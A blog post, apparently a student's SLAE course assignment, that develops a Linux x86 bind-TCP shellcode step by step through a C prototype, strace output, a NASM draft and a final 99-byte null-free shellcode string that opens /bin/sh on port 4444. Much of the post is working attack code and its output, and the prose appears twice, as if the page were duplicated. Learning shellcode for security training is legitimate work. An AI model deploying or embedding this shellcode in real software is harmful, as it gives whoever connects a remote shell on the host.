Okay...! Here we go, part one of seven posts for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) assignments which I'll be posting on here.
The first assignment task is to create a shell bind TCP shellcode, where the port number is easily configurable, should be fairly straighforward.
Firstly, I create a quick C program
...compile and run it through strace to capture the relevant system calls and parameters - also catching the parameters in raw mode, helps to figure out what's going on. I've snipped out all but the unnecessary calls in the below output;
After this, I built a first draft nasm file - ignoring optimisations & use of null chars, for now.
Okay so obviously this isn't going to work as shellcode: the data section needs to go, the nulls need to go and I might as well loop around the dup2 operations to tighten it up a bit.
The second draft is here: https://github.com/pabb85/SLAE/blob/master/bind.asm
This builds nicely, as shown below - gives a shellcode of 99 bytes which I guess is *not bad* for a first attempt. The port is easily configurable by altering line 30, where 0x5c11 is equivalent to 4444 (remember to flip the bytes).
That is assignment one complete, I'll move onto the next task and spend some time looking at optimisations also.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.
The first assignment task is to create a shell bind TCP shellcode, where the port number is easily configurable, should be fairly straighforward.
Firstly, I create a quick C program
1: #include <stdio.h>
2: #include <stdlib.h>
3: #include <sys/socket.h>
4: #include <arpa/inet.h>
5: void main(void)
6: {
7: int socket_handle;
8: struct sockaddr_in addr;
9: addr.sin_family = AF_INET;
10: addr.sin_addr.s_addr = INADDR_ANY;
11: addr.sin_port = 0x5c11; // 4444
12: socket_handle = socket(AF_INET, SOCK_STREAM, 0);
13: bind(socket_handle, &addr, sizeof(addr));
14: listen(socket_handle, 0);
15: int connection = accept(socket_handle, 0, 0);
16: dup2(connection, 2);
17: dup2(connection, 1);
18: dup2(connection, 0);
19: execve("/bin/sh", 0, 0);
20: }
...compile and run it through strace to capture the relevant system calls and parameters - also catching the parameters in raw mode, helps to figure out what's going on. I've snipped out all but the unnecessary calls in the below output;
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3, NULL, NULL) = 4
dup2(4, 2) = 2
dup2(4, 1) = 1
dup2(4, 0) = 0
execve("/bin/sh", NULL, NULL)
paul@SLAE001:~$ strace -e raw=all ./bind
...
socket(0x2, 0x1, 0) = 0x3
bind(0x3, 0xbfdb6bcc, 0x10) = 0
listen(0x3, 0) = 0
accept(0x3, 0, 0) = 0x4
dup2(0x4, 0x2) = 0x2
dup2(0x4, 0x1) = 0x1
dup2(0x4, 0) = 0
execve(0x8048700, 0, 0) = 0
...
After this, I built a first draft nasm file - ignoring optimisations & use of null chars, for now.
1: ; bind.asm
2: ; Paul Heneghan
3: global _start
4: section .text
5: _start:
6: ; socket via socketcall
7: mov ebx, 0x1 ; socketcall number 1
8: ; int socket(int domain, int type, int protocol);
9: push 0x0 ; socket arg 3
10: push 0x1 ; socket arg 2
11: push 0x2 ; socket arg 1
12: mov ecx, esp ; socketcall args
13: mov eax, 0x66 ; system call number 66
14: ;int socketcall(int call, unsigned long *args);
15: int 0x80
16: mov edx, eax ; save sockfd for later
17: ; bind via socketcall
18: mov ebx, 0x2 ; socketcall number 2
19: ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
20: push 0x0 ;ip addr = any
21: push word 0x5c11 ;port 115c = 4444
22: push word 0x2 ;family inet = 2
23: mov ecx, esp
24: push 0x10 ; bind arg 3
25: push ecx ; bind arg 2
26: push eax ; bind arg 1
27: mov ecx, esp ; pointer to bind args
28: mov eax, 0x66 ; system call number 66
29: ;int socketcall(int call, unsigned long *args);
30: int 0x80
31: ; listen via socketcall
32: mov ebx, 0x4 ; socketcall number 4
33: ;int listen(int sockfd, int backlog);
34: push 0x0 ; listen arg 2
35: push edx ; listen arg 1
36: mov ecx, esp
37: mov eax, 0x66 ; system call number 66
38: ;int socketcall(int call, unsigned long *args);
39: int 0x80
40: ; accept via socketcall
41: mov ebx, 0x5 ; socketcall number 5
42: ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
43: push 0x0 ; bind arg 3
44: push 0x0 ; bind arg 2
45: push edx ; bind arg 1
46: mov ecx, esp ; pointer to bind args
47: mov eax, 0x66 ; system call number 66
48: ;int socketcall(int call, unsigned long *args);
49: int 0x80
50: mov ebx, eax ; save connection fd for later
51: ; dup2
52: mov eax, 0x3f ; int dup2(int oldfd, int newfd);
53: ;mov ebx,
54: mov ecx, 0x2 ; stderr
55: int 0x80
56: ; dup2
57: mov eax, 0x3f ; int dup2(int oldfd, int newfd);
58: ;mov ebx,
59: mov ecx, 0x1 ; stdout
60: int 0x80
61: ; dup2
62: mov eax, 0x3f ; int dup2(int oldfd, int newfd);
63: ;mov ebx,
64: mov ecx, 0x0 ; stdin
65: int 0x80
66: ; execve
67: mov eax, 0xb ; int execve(const char *filename, char *const argv[], char *const envp[]);
68: mov ebx, shell
69: mov ecx, 0x0
70: mov edx, 0x0
71: int 0x80
72: section .data
73: shell: db "/bin/sh"
74: mlen: equ $-shell
Okay so obviously this isn't going to work as shellcode: the data section needs to go, the nulls need to go and I might as well loop around the dup2 operations to tighten it up a bit.
The second draft is here: https://github.com/pabb85/SLAE/blob/master/bind.asm
This builds nicely, as shown below - gives a shellcode of 99 bytes which I guess is *not bad* for a first attempt. The port is easily configurable by altering line 30, where 0x5c11 is equivalent to 4444 (remember to flip the bytes).
That is assignment one complete, I'll move onto the next task and spend some time looking at optimisations also.
paul@SLAE001:~$ nasm -f elf32 bind.asm -o bind.o
paul@SLAE001:~$ ld bind.o -o bind
paul@SLAE001:~$ objdump -d ./bind|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
paul@SLAE001:~$ perl -e 'print "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";' | wc -c
99
End result: using my bind shell shellcode :-)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.